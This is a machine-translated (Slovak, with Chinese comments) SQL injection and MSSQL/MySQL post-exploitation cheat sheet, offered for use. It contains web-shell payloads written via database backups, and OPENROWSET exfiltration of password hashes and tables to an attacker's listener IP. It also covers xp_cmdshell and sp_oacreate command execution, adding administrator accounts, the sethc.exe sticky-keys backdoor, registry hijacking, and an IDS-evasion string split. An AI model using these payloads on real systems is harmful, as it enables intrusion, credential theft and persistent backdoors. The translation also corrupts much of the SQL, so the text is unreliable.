* z tabuľky1) vyberte * z databázy.. Tabuľka1 insert do OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Sieť=DBMSSOCN; Adresa=192.168.0.1,1433; ,select
* z tabuľky2) vyberte * z databázy.. Tabuľka2
Hash hesla, ktoré kopíruje prihlasovacie _blank> hash tabuľky (HASH), je uložený v sysxlogins. Tu je ako: insert into OPENROWSET(SQLOLEDB,
uid=sa; pwd=123; Sieť=DBMSSOCN; Adresa=192.168.0.1,1433; ,vyberte * z _blank>_sysxlogins)
Vyberte * z database.dbo.sysxlogins Keď už získaš hash, môžeš ho použiť hrubou silou.
Na prechádzanie adresárom: Najprv vytvorte dočasnú tabuľku: temp ; Create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); – ; vložiť dočasný výkonný master.dbo.xp_blank>_availablemedia; – Získajte všetky aktuálne disky ; vložiť do temp(id) exec master.dbo.xp_blank>_subdirs c:\; – Získajte zoznam podadresárov ; vlož do temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – Získať štruktúru adresárového stromu pre všetky podadresáre,
Spojte palce do tabuľky teploty ; vložte do temp(id) exec master.dbo.xp_blank>_cmdshell napíšte c:\web\index.asp; – Zobraziť súbor
Obsah ; vlož do temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\; – ; vložte do temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a; – ; insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscrip{filter}t C:\Inetpub\Adminscrip{filter}ts
\adsutil.vbs enum w3svc ; vlož do temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – (xp_blank>_dirtree Príslušný orgán
VEREJNOSŤ) Napíšte na stôl: príkaz 1: a 1=(Vyberte IS_blank>_SRVROLEMEMBER(sysadmin)); – Príkaz 2: a 1=(Vyberte IS_blank>_SRVROLEMEMBER(serveradmin)); – Príkaz 3: a 1=(Vyberte IS_blank>_SRVROLEMEMBER(setupadmin)); – Príkaz 4: a 1=(Vyberte IS_blank>_SRVROLEMEMBER(securityadmin)); – Výrok 5: a 1=(Vyberte IS_blank>_SRVROLEMEMBER(securityadmin)); – Príkaz 6: a 1=(Vyberte IS_blank>_SRVROLEMEMBER(diskadmin)); – Výrok 7: a 1=(Vyberte IS_blank>_SRVROLEMEMBER(bulkadmin)); – Výrok 8: a 1=(Vyberte IS_blank>_SRVROLEMEMBER(bulkadmin)); – Výrok 9: a 1=(Vyberte IS_blank>_MEMBER(db_blank>_owner)); –
Napíšte cestu k stolu: ; Create table dirs(paths varchar(100), id int)– ; insert dirs exec master.dbo.xp_blank>_dirtree c:\– a 0<>(vyberte top 1 cesty z Dirs)– a 0<>(vyberte top 1 cesty z smerov, kde cesty nie sú v(@Inetpub))– ; Create table dirs1(paths varchar(100), id int)– ; insert dirs exec master.dbo.xp_blank>_dirtree e:\web– a 0<>(vyberte top 1 cesty z dirs1)–
Zálohujte _blank> databázu do webového adresára: Stiahnuť ; deklarovať @a sysname; množina @a=db_blank>_name(); záložná databáza @a na disk=e:\web\down.bak; –
a 1=(Vyberte top 1 meno z(Vyberte top 12 id,názov zo sysobjects, kde xtype=char(85)) T
poradie podľa ID desc) a 1=(Vyberte Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) zo sysobjects) Pozri tiež
Súvisiace tabuľky. a 1=(vybrať user_blank>_id z USER_blank>_LOGIN) a 0=(vybrať používateľa z USER_blank>_LOGIN kde používateľ >1)
-=- wscrip{filter}t.shell príklad -=- deklarujte @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, bež, NULL, notepad.exe ; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, notepad.exe–
deklarujte @o int, @f int, @t int, @ret int Deklarujte @line varchar(8000) exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out exec sp_blank>_oamethod @o, OpenTextfile, @f out, c:\boot.ini, 1 exec @ret = sp_blank>_oamethod @f, readline, @line out while( @ret = 0 ) začať. tlač @line exec @ret = sp_blank>_oamethod @f, readline, @line out koniec
deklarujte @o int, @f int, @t int, @ret int exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1 exec @ret = sp_blank>_oamethod @f, writeline, NULL, <% set o = server.createobject("wscrip{filter}t.shell"): o.run( request.querystring("cmd") ) %>
deklarujte @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o koniec exec sp_blank>_oamethod @o, register, NULL, foo, bar Výkonný sp_blank>_oasetproperty @o, rýchlosť, 150 exeec sp_blank>_oamethod @o, hovor, NULL, všetky tvoje servery pokračovaní patria nám, 528 čakanie na oneskorenie 00:00:05
; deklaruj @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o náš exec.
sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, rýchlosť, 150 exec
sp_blank>_oamethod @o, hovor, NULL, všetky tvoje servery pokračovania patria nám, 528 čaká na oneskorenie
00:00:05–
xp_blank>_dirtree platné VEREJNÉ povolenie exec master.dbo.xp_blank>_dirtree c: Vrátené informácie majú dve polia: podadresár, hĺbka. Polia podadresára
Typ znaku, hĺbkové pole je tvarovacie pole. Create table dirs(paths varchar(100), id int) Pri tvorbe tabuliek, tabuľka vytvorená tu súvisí s vyššie uvedeným xp_blank>_dirtree, s rovnakými poľami a rovnakým typom. insert dirs exec master.dbo.xp_blank>_dirtree c: Pokiaľ vytvoríme tabuľku a rovnako definujeme polia vrátené procesom ukladania
Vykonajte! Aby sme dosiahli efekt písania tabuliek, krok za krokom, aby sme dosiahli požadované informácie! Táto chybová injekcia je založená hlavne na pretečení Mysql dátových typov mysql > SELECT 18446744073709551610 * 2 ; CHYBA 1690 (22003): Hodnota BIGINT UNSIGNED je mimo rozsahu v '(18446744073709551610 * 2)'
mysql > SELECT - 1 * 9223372036854775808 ; CHYBA 1690 (22003): BIGINT NEZNAMIENKOVÁ hodnota je mimo rozsahu v '(- (1) *
9223372036854775808)' Verzia databázy dotazov: mysql> SELECT * 2 (ak ((SELECT * from (SELECT (version ()) ) s), 18446744073709551610,
18446744073709551610)); CHYBA 1690 (22003): Hodnota BIGINT UNSIGNED je mimo rozsahu v '(2 * ak (( Vyberte ' 5.5 'z
Dual), 18446744073709551610.18446744073709551610))' Získajte názov odboru: mysql> SELECT 2 * if((SELECT * from (select * from test.shop) ako '' limit 1)>(SELECT * z
test.shop limit 1), 18446744073709551610, 18446744073709551610);
CHYBA 1690 (22003): BIGINT NEZNAMIENKOVÁ hodnota je mimo rozsahu v '(2 * if((((select
'article','dealer', 'price' from (vyberte 'test'.'shop'.'article' AS
'článok','test'.'obchod'.'predajca' AS 'predajca', 'test'.'obchod'.'cena' AS 'cena' z
'test'. 'shop') limit 1) > (vybrať
'test'.'shop'.'artikl','test'.'shop'.'dealer','test'.'shop'.'cena' z 'test'.'shop' limit
1)),18446744073709551610,18446744073709551610))' Získajte hodnotu poľa:
mysql> SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) ako '' limit 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610);
CHYBA 1690 (22003): BIGINT NEZNAMIENKOVÁ hodnota je mimo rozsahu v '(2 * if((((select
'lokálny host', 'root','*', 'Y','Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', '
Y','Y','Y','Y','Y', 'Y','Y', 'Y', 'Y','Y', 'Y','',','','', '0','0','0',' z duálneho limitu 1)
<
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),184467440
73709551610,18446744073709551610))'
Upozorňujeme, že táto metóda nefunguje so staršími verziami Mysql a budete potrebovať poznať dĺžkový limit chybovej správy, pretože to určí
Môžete získať toľko času, koľko chcete: mysys / my_error.c
/* Maximálna dĺžka chybového hlásenia. Mal by byť synchronizovaný s MYSQL_ERRMSG_SIZE. */ #define ERRMSGSIZE (512)
Ak je objektom MariaDB (fork Mysql), môžete pri skúšaní vyššie uvedenej metódy vidieť podobnú chybovú správu:
mysql> SELECT 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610,
18446744073709551610)) CHYBA 1690 (22003): BIGINT NEZNAMIENKOVÁ hodnota je mimo rozsahu v '(2 * if((select
#),18446744073709551610,18446744073709551610))'
Ako riešenie možno tento problém vyriešiť takto:
mysql> SELECT (I NIE JE NULL) - -9223372036854775808 FROM (SELECT (VERSION())i)a; CHYBA 1690 (22003): Hodnota BIGINT je mimo rozsahu v '(('5.5-MariaDB' nie je null) - -
(9223372036854775808))' Teraz sa pozrime, či dokážeme náš vektor trochu skrátiť
//查询数据库版本
SELECT 2*(if((SELECT * from (SELECT (version()))), 18446744073709551610,
18446744073709551610)) = select 1E308*if((select*from(select version())x),2,2)
SELECT (I NIE JE NULL) - -9223372036854775808 Z (SELECT (version())i)a = select if(x,2,2)*1E308 from(select version()x)y
//获取表字段名称 SELECT 2 * if((SELECT * from (select * from test.shop) ako '' limit 1)>(SELECT * z
test.shop limit 1), 18446744073709551610, 18446744073709551610) = select 1E308*if((select*from(select*from mysql.user)''limit 1)>(select*from mysql.user limit
1),2,2)
//获取字段值
SELECT 2 * if(((SELECT * from (select * from (mysql.user) LIMIT 1) ako '' limit 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610) = select 1E308*if((select*from(select*from mysql.user LIMIT 1)''limit 1)<(select*from
mysql.user limit 0),2,2)
//获取指定字段的值 vyberte 1E308*if((select user|| host|| heslo|| file_priv from(select*from mysql.user LIMIT
1) limit 1),2,2)
//获取字段个数
vyberte 1E308*if((select*from mysql.user limit 1)>(select 1),2,2)
Niektoré ďalšie deformácie
SELECT (I NIE JE NULL) - -9223372036854775808 Z (SELECT (version())i)a vyberte 1E308*if((select user|| host|| heslo|| file_priv from(select*from mysql.user LIMIT
1) limit 1),2,2); => Vyberte 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit
1),1e308,0); mysql> vybrať (vybrať * z mysql.user)=1; mysql> vybrať (vybrať * z mysql.user)in(1);
CHYBA 1241 (21000): Operand by mal obsahovať 42 stĺpcov Vyberte 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit
1),1e308,0); vyber if(((select user|| host|| heslo|| file_priv from(select*from mysql.user LIMIT 1)a
limit 1),2,2)*1E308 SELECT (I NIE JE NULL) - -9223372036854775808 Z (SELECT (version())i)a select (x!=0x00)--9223372036854775808 from(SELECT version()x)y mysql> select!x-~0.FROM(select+user()x)f; CHYBA 1690 (22003): Hodnota BIGINT UNSIGNED je mimo rozsahu v '((not('root@localhost')) - ~
(0))' 3. Posúdiť databázový systém ; a (vyberte count(*) zo sysobjects)>0 mssql ; a (vyberte count(*) z msysobjects)>0 prístup 4. Parameter injekcie je znak 'a [kritériá dotazu] a ''=' 5. Počas vyhľadávania nie sú žiadne filtrované parametre 'a [kritériá dotazu] a '%25'=' 6. Uhádni databázu ; a (vyberte Count(*) z [názov databázy])>0 7. Hádať pole ; a (vyberte Count(field name) z názvu databázy)>0 8. Hádať dĺžku záznamu v poli ; a (vyberte top 1 len (názov poľa) z názvu databázy)>0 9. (1) Uhádnite ASCII hodnotu poľa (prístup) ; a (vyberte top 1 ASC(Mid(Field Name, 1,1)) z názvu databázy)>0 (2) Uhádnite ASCII hodnotu poľa (mssql) ; a (vyberte top 1 unicode(substring(field name, 1,1)) z názvu databázy)>0 10. Štruktúra testovacích povolení (mssql) ; a 1=(vybrať IS_SRVROLEMEMBER('sysadmin')); -- ; a 1=(vybrať IS_SRVROLEMEMBER('serveradmin')); -- ; a 1=(vybrať IS_SRVROLEMEMBER('setupadmin')); -- ; a 1=(vybrať IS_SRVROLEMEMBER('securityadmin')); -- ; a 1=(vybrať IS_SRVROLEMEMBER('diskadmin')); -- ; a 1=(vybrať IS_SRVROLEMEMBER('bulkadmin')); -- ; a 1=(vybrať IS_MEMBER('db_owner')); -- 11. Pridať účet pre mssql a systém ; exec master.dbo.sp_addlogin používateľské meno; -- ; exec master.dbo.sp_password null, používateľské meno, heslo; -- ; exec master.dbo.sp_addsrvrolemember používateľské meno správcu systému; -- ; exec master.dbo.xp_cmdshell 'net používateľské meno, heslo /workstations:* /times:all
/passwordchg:yes /passwordreq:yes /active:yes /add';-- ; exec master.dbo.xp_cmdshell 'net používateľské meno, heslo /add'; -- ; exec master.dbo.xp_cmdshell 'net localgroup administrators username /add'; -- 12. (1) Prejdite katalóg ; Create table dirs(paths varchar(100), id int) ; Insert Dirs Exec master.dbo.xp_dirtree 'c:\' ; a (vyberte top 1 cesty z dirs)>0 ; a (vyberte top 1 ciest z dirs, kde cesty nie sú v ('cesty získané z predchádzajúceho kroku'))>) (2) Prechádzať katalógom ; Create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); -- ; vložte dočasný výkonný master.dbo.xp_availablemedia; -- Získajte všetky prúdové pohony ; vlož do temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Získajte zoznam podadresárov ; vlož do temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Získajte štruktúru adresárov pre všetky podadresáre ; vložiť do temp(id) exec master.dbo.xp_cmdshell 'napíš c:\web\index.asp'; -- Zobraziť obsah súboru 13. Uložené procedúry v mssql xp_regenumvalues Koreňový kľúč registra, detský kľúč ; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' a ďalšie
Metóda súboru záznamov na vrátenie všetkých kľúčových hodnôt xp_regread Koreňový kľúč, podkľúčený kľúč, meno kľúč-hodnota ; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion','CommonFilesDir' vráti hodnotu formulačného kľúča xp_regwrite koreňový kľúč, podkľúčený kľúč, názov hodnoty, typ hodnoty, hodnota Existujú dva typy hodnôt REG_SZ REG_DWORD pre typy znakov a pre celé čísla ; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion', 'TestvalueName', 'reg_sz', 'hello' sú zapísané do registra xp_regdeletevalue Koreňový kľúč, podkľúč, názov hodnoty exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion', 'TestvalueName' na odstránenie hodnoty xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' kláves na vymazanie,
Zahrňte všetky hodnoty pod tento kľúč 14. MSSQL záloha vytvára webshell Použitie modelu create table cmd (str image); insert do cmd(str) hodnôt ('<% Dim oscrip{filter}t %>'); záložný databázový model na disk='c:\l.asp'; 15. Vstavané funkcie MSSQL ; a (vyberte @@version)>0 na získanie čísla verzie Windows ; a user_name()='dbo' na určenie, či je pripojený používateľ aktuálneho systému SA ; a (vybrať user_name()>0 Vybuchlo pripojených používateľov aktuálneho systému ; a (vyberte db_name()>0 pre získanie aktuálne pripojenej databázy 16. Stručný webshell Použitie modelu create table cmd (str image); vložte do cmd(str) hodnoty ('<%=server.createobject("wscrip{filter}t.shell").exec("cmd.exe /c
"&request("c")).stdout.readall%>'); záložný databázový model na disk='g:\wwwtest\l.asp'; Pri žiadosti použite niečo takéto:
http://ip/l.asp?c=dir ================================================================================================
================================================================================================
================================================================================================
================================================================================================
============================ Získajte všetky názvy databáz vrátane systémových databáz –VYBRAŤ názov Z master.dbo.sysdatabases
– Získajte všetky nesystémové názvy databáz –vyberte [meno] z master.dbo.sysdatabases, kde DBId>6 Zoradiť podľa [Meno]
– Získajte všetky informácie, vrátane adresy databázového súboru –vyberte * z master.dbo.sysdatabases, kde DBId>6 Zoradiť podľa
[Meno]
Tento dotaz na príkaz vráti všetky používateľské tabuľky
Vyberte * z sysobjects, kde xtype='u'
Dotazujte všetky informácie v dátovej tabuľke v systéme
Vyberte * z sysobjects
Pozri sa na názov stroja Vyberte * zo sys.servers
Obsah stĺpcov Výkonný master.dbo.xp_subdirs 'C:\'
exec master.dbo.xp_dirtree 'c:',1,1 db_owner Povolenia môžu byť vynútené
exec master.dbo.xp_dirtree 'c:/Program Files',1,1
Programový kód, napísaný do webshellu
Exec master.dbo.xp_subdirs 'd:\web\www.xx.com'; Výkonný sp_makewebtask:
\web\www.XXXX.com\XX.asp','select"<%execute(request("SB"))%>"
Vykonaj majstra.. xp_enumgroups
Používatelia systému prechodu
Vykonaj majstra.. xp_getnetname Získajte aktuálny názov automatu
--Zobraziť pevné disky na serveri spolu s dostupným miestom pre každý disk DBO Public
Vykonať
xp_ntsec_enumdomains
-- Vytvorte si účet na prihlásenie do MSSQL Výkonný master.dbo.sp_addlogin meno, prešiel; --
-- Uveďte doménové meno servera xp_ntsec_enumdomains // Názov stroja //dbo public
-- Zastavte alebo spustite službu xp_servicecontrol 'stop', 'schedule' //schedule je názov služby //dbo
--Použite pid
Zastavte vykonávajúci program xp_terminate_process 123 //123 je PID //DBO
-- V adresári sú uvedené iba podadresáre dbo.xp_subdirs 'C:' //dbo
SQL Server Spôsob otvorenia xp_cmdshell v roku 2005 EXEC sp_configure 'zobraziť pokročilé možnosti', 1; REKONFIGUROVAŤ; EXEC
sp_configure 'xp_cmdshell', 1; REKONFIGUROVAŤ;
SQL2005 Otvorte 'OPENROWSET' Podporované metódy: Výkonný sp_configure 'zobraziť pokročilé možnosti', 1; REKONFIGUROVAŤ; Výkonný sp_configure 'Ad Hoc
distribuované dotazy',1; REKONFIGUROVAŤ;
SQL2005 na umožnenie podpory 'sp_oacreate': Výkonný sp_configure 'zobraziť pokročilé možnosti', 1; REKONFIGUROVAŤ; exec
sp_configure 'Ole Automation Procedures',1; REKONFIGURÁCIA
Ako povoliť xp_cmdshell v SQL Server 2008
-- Umožniť zmenu pokročilých možností. EXEC
sp_configure 'zobraziť pokročilé možnosti', 1 CHOĎ -- Na aktualizáciu aktuálne nastavenej hodnoty pre
Pokročilé možnosti. REKONFIGURÁCIA CHOĎ -- Na povolenie funkcie. EXEC sp_configure 'xp_cmdshell', 1 CHOĎ -- Na
aktualizujte aktuálne nastavenú hodnotu pre túto funkciu. REKONFIGURÁCIA CHOĎ
exec xp_cmdshell 'ipconfig'
Dnes som chcel zmeniť SA prihlasovacie heslo k databázovému serveru, ale zrazu som na to zabudol, takže som musel s pomocou iných účtov otvoriť analyzátor dotazov, aby som zmenil SA heslo
Je to veľmi jednoduché:
Realizácia: sp_password Null, 'teracypwd', 'sa' Nastavte heslo SA na "teracypwd"
Po úspešnej poprave
Je tu "Príkaz(y) úspešne dokončené." OK!
V oprávnení databázy oddelte spôsob získania IP adresy databázového servera MSSQL
1. Miestne NC počúva NC - VVLP 80
2.; vlož do
OPENROWSET('SQLOLEDB','uid=sa; pwd=xxx; Sieť=DBMSSOCN; Adresa = vaša IP adresa, 80; ', 'vyberte * z
dest_table') vyberte * z src_table; --
Vyberte * z OpenRowset
('sqloledb','server=125.110.145.130,6789; uid=sa; pwd=zhu','vybrať používateľa; ')
Import a export databázy
/*不同服务器数据库之间的数据操作*/
--Vytvoriť link server Výkonný sp_addlinkedserver
'ITSV', 'SQLOLEDB', 'Názov vzdialeného servera alebo IP adresa' exec sp_addlinkedsrvlogin 'ITSV', 'false
',null, 'používateľské meno', 'heslo'
--príklad dotazu select * from ITSV.database name.dbo.table name
--import example Vyberte *
do tabuľky z ITSV.databasename.dbo.tablename
--Vymažte prepojený server, ak sa v budúcnosti už nepoužíva výkonný sp_dropserver 'ITSV',
'droplogins'
-- Pripojenie k vzdialeným/LAN dátam (openrowset/openquery/opendatasource) --1、openrowset
--príklad dotazu Vyberte *
from openrowset( 'SQLOLEDB ', 'sql server name '; 'Používateľské meno'; 'password', názov databázy.dbo.table meno)
-- Vygenerujte lokálnu tabuľku vyberte * do tabuľky z openrowset( 'SQLOLEDB ', 'sql server name '; 'Používateľské meno'; 'Heslo', číslo
Podľa názvu tabuľky v databáze názov.dbo.)
-- Importujte lokálnu tabuľku do vzdialenej tabuľky insert openrowset( 'SQLOLEDB', 'sql server name'; 'Používateľské meno'; 'Heslá', databázy
meno.dbo.názov tabuľky) Vyberte *z lokálnej tabuľky
-- Aktualizujte lokálne tabuľky Aktualizácia B množina b. stĺpec A = a from openrowset( 'SQLOLEDB ', 'sql server name '; 'Používateľské meno'; '
heslo ', názov databázy .dbo.table name) ako inner join lokálna tabuľka b na a.stĺpci1=b.stĺpček1
--openquery Použitie vyžaduje vytvorenie spojenia
--Najprv vytvoriť spojenie na vytvorenie linkového servera exec sp_addlinkedserver 'ITSV', ' ',
'SQLOLEDB', 'názov vzdialeného servera alebo IP adresa' --Pýtajte sa Vyberte * FROM openquery(ITSV, 'SELECT * FROM data
library.dbo.table name ') -- Importujte lokálnu tabuľku do vzdialenej tabuľky vložiť openquery(ITSV, 'SELECT * FROM database.dbo.table name') Vyberte * z lokálneho prostredia
Tabuľka --aktualizovať lokálnu tabuľku Aktualizácia B množina b. stĺpec B=a FROM openquery(ITSV, 'SELECT * FROM DATABASE.DBO.TABLENAME')
ako vnútorný spoj lokálna tabuľka b na stĺpci a. A=b. stĺpec A
--3、opendatasource/openrowset VYBRAŤ * Z
opendatasource( 'SQLOLEDB ', 'Data Source=ip/ServerName; ID používateľa = prihlasovacie meno; Heslo=Heslo '
).test.dbo.roy_ta -- Importujte lokálnu tabuľku do vzdialenej tabuľky
Vymazanie a obnovenie xp_cmdshell
Spôsoby, ako sa zotaviť xp_cmdshell Vymažte rozšírenú uloženú procedúru xp_cmdshell
Vyhlásenie Výkonný sp_dropextendedproc 'xp_cmdshell'
Obnovenie SQL príkazu cmdshell exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
exec
master.dbo.addendedproc 'xp_cmdshell','xplog70.dll'; Vyberte count(*) z
master.dbo.sysobjects, kde xtype='x' a Výsledok je 1 a je to v poriadku
Inak musíte nahrať c:\inetput\web
\xplog70.dll neskôr Výkonný master.dbo.sp_addextendedproc 'xp_cmdshell','c:\inetput\web\xplog70.dll
’; --
Ak to vymažete nasledujúcim spôsobom Postup zhody sp_addextendedproc Postup zhody sp_oacreate exec
sp_dropextendedproc 'xp_cmdshell'
Môžete ho obnoviť nasledujúcim vyhlásením dbcc addextendedproc ("sp_oacreate","odsole70.dll") DBCC
addextendedproc ("xp_cmdshell","xplog70.dll")
Týmto spôsobom ho možno priamo obnoviť, bez ohľadu na to, či sp_addextendedproc existuje alebo nie
1、 Použite xp_cmdshell: Exec master.dbo.xp_cmdshell "Net User, Admin, Admin /ADD" exec
master.dbo.xp_cmdshell "net localgroup administrators admin /add"
V xp_cmdshell prípade použite sp_oacreate na dodržiavanie sp_oamethod: deklarujte @object int exec
sp_oacreate 'wscrip{filter}t.Shell', @object von Výkonný sp_oamethod
@object,'Run', NULL,'net user admin admin /add' exec sp_oamethod @object,'Run', NULL,'net
localgroup Administrátori admin /add'
Poznámka: regsvr32 /s c:\windows\system32\wshom.ocx Start wscrip{filter}t.shell 3、 Použite sp_oacreate a FSO deklarujte @o int Výkonný sp_oacreate
'scrip{filter}ting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile', null,'c:\windows
\explorer.exe' ,'c:\windows\system32\sethc.exe'; deklarujte @oo int exec
sp_oacreate 'scrip{filtering}ting.filesystemobject', @oo out Výkonný sp_oamethod @oo,
'copyfile', null,'c:\windows\system32\sethc.exe', 'c:\windows\system32\dllcache\sethc.exe';
Použite xp_regwrite (db_owner, vyžaduje sa reštart): Výkonný master.dbo.xp_regwrite
'hkey_local_machine','software\microsoft\windows\currentversion\
run','eadd1','reg_sz','net user admin admin /add' Výkonný master.dbo.xp_regwrite
'hkey_local_machine','software\microsoft\windows\currentversion\
run','eadd2','reg_sz','net localgroup administrators admin /add' 5. Použitie sp_add_job: exec
master.dbo.xp_servicecontrol 'start', 'SQLSERVERAGENT' Použite MSDB Exec sp_delete_job
null,'x' Exec sp_add_job 'X' Výkonný sp_add_jobstep
Null,'x', Null,'1', 'CMDEXEC', 'cmd /c net user admin admin /add' Výkonný sp_add_jobserver
Null, 'x', @@servername exec sp_start_job 'x'
Mnohým SA sa podarilo na mnohých strojoch priamo v sandboxovom režime, ale ja som to nikdy neskúšal a neviem, aká je úspešnosť. Keď sa predĺženie odstráni, najprv
Obnovte úložisko na čítanie a zápis do registra. DBCC addextendedproc ('xp_regread','xpstar.dll') DBCC addextendedproc
('xp_regwrite','xpstar.dll')
Opravený chránený režim sandboxu Výkonný majster.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet
\4.0\Engines','SandBox Mode','REG_DWORD',0; --
Skontrolujte, či sa hodnota 'SandBoxMode' zmenila na 0.
výkonný master.dbo.xp_regread 'HKEY_LOCAL_MACHINE,'SOFTVÉR
\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
Nakoniec zavolajte režim sandbox select * from openrowset('microsoft.jet.oledb.4.0','; database=C:\WINDOWS
\system32\ias\dnary.mdb','select shell("cmd.exe /c net user passwd /add")')
Ak režim ochrany pieskoviska nie je "vypnutý", hlási sa chyba: Server: Msg 7357, úroveň 16, stav 2, riadok 1
Nepodarilo sa spracovať objekt 'select shell("cmd.exe /c net user pass /add")'. OLE DB poskytuje programy
Predslov 'microsoft.jet.oledb.4.0' uvádza, že v objekte nie sú žiadne stĺpce.
Sledovanie chýb OLE DB [Chyba mimo rozhrania: poskytovateľ OLE DB nemôže spracovať objekt, keďže objekt
has nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user
používateľ passwd /add")']。
2、 Ak .mdb neexistuje alebo je vstupná cesta nesprávna Server: Msg 7399, úroveň 16, stav 1, riadok 1
OLE DB provider 'microsoft.jet.oledb.4.0' error. [Poskytovateľ OLE/DB vrátil správu:
Súbor 'C:\WINDOWS\system32\ias\dnary1.mdb' sa nenašiel. ]
OLE DB error trace [OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize returned
0x80004005: ]。
3. Ak je počas vstupného procesu viac medzier, bude tiež nahlásená chyba. Venujte tomu osobitnú pozornosť, veľa ľudí priamo vyhľadáva články online
Vložte ho do a vykonajte ho. Server: Msg 7357, úroveň 16, stav 2, riadok 1 Nepodarilo sa spracovať objekt 'select'
shell("cmd.exe /c net user passwd /add")'。 Poskytovateľ OLE DB 'microsoft.jet.oledb.4.0' uvádza, že v objekte nie sú žiadne stĺpce.
Sledovanie chýb v OLE DB [Chyba mimo rozhrania: Poskytovateľ OLE DB nemôže spracovať objekt, pretože objekt má
nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user
passwd /add")']。
4、 Ak sú oprávnenia mdb a cmd.exe nesprávne, problém sa tiež vyskytne. Keď sú oprávnenia MDB nesprávne, Server: Eliminovať
Záujem 7320, úroveň 16, stav 2, riadok 1
Nemohol odpovedať OLE DB provider 'Microsoft.Jet.OLEDB.4.0' vykoná dotaz. [OLE/DB poskytovateľ vrátený
message: 未知] OLE DB Error Trace [OLE/DB Provider 'Microsoft.Jet.OLEDB.4.0'
ICommandText::Execute returned 0x80040e14]。
5. Ak je internetové povolenie nesprávne, nie je tam žiadny prompt.
Posledným spôsobom, ako zvýšiť autoritu, je nahrať ias.mdb a cmd.exe systému do aktuálneho webového adresára net.exe troch súborov.
Execute select * from openrowset('microsoft.jet.oledb.4.0','; database=E:\web\ias.mdb','select shell
("E:\web\cmd.exe /c E:\web\net.exe užívateľ passwd /add")') Úspešne pridať používateľa počítača.
Rozdelenie cmdshell obchádza IDS declare @a sysname set @a='xp_'+'cmdshell' exec @a 'ipconfig' vyhlásiť
@a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'
Upraviť únos registra na zmenu Výkonný majster.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT
\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows
\system32\cmd.exe on'; --
Dotaz na linkserver vybrať
srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
e,isremote,rpc,dataaccess from master.dbo.sysservers vybrať
srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
e,isremote,rpc,dataaccess from master.dbo.sysservers
Dotaz linkserver2 Vyberte Distinct Hostname,db_name(dbid),net_address,loginame,program_name z
Majster.. Sysprocesy
Dotaz na linkserver a ďalších prihlásených používateľov Select * z [192.168.1.1].master.dbo.syslogins
Query linkserver Všetky databázy vyberte * z linkedSrvWeb.master.dbo.sysdatabases
Vykonávanie rozšíreného ukladania na LinkServer Exec [IP].master.dbo.xp_cmdshell
Dotazujte všetky tabuľky na linkserveri Vyberte * z [IP].master.dbo.sysobjects
Vyberte * z OpenRowset
('sqloledb','server=IP; uid=užívateľ; pwd=password','select @@version')
select * from openquery([LINKSERVER
meno],'vybrať @@version')
select * from openquery(NDOORS,'select IS_SRVROLEMEMBER(''sysadmin'')')
vyberte * z openquery(GM_SERVER,'vyberte * zo sysobjects kde xtype = (''U'')')
Vyberte * z
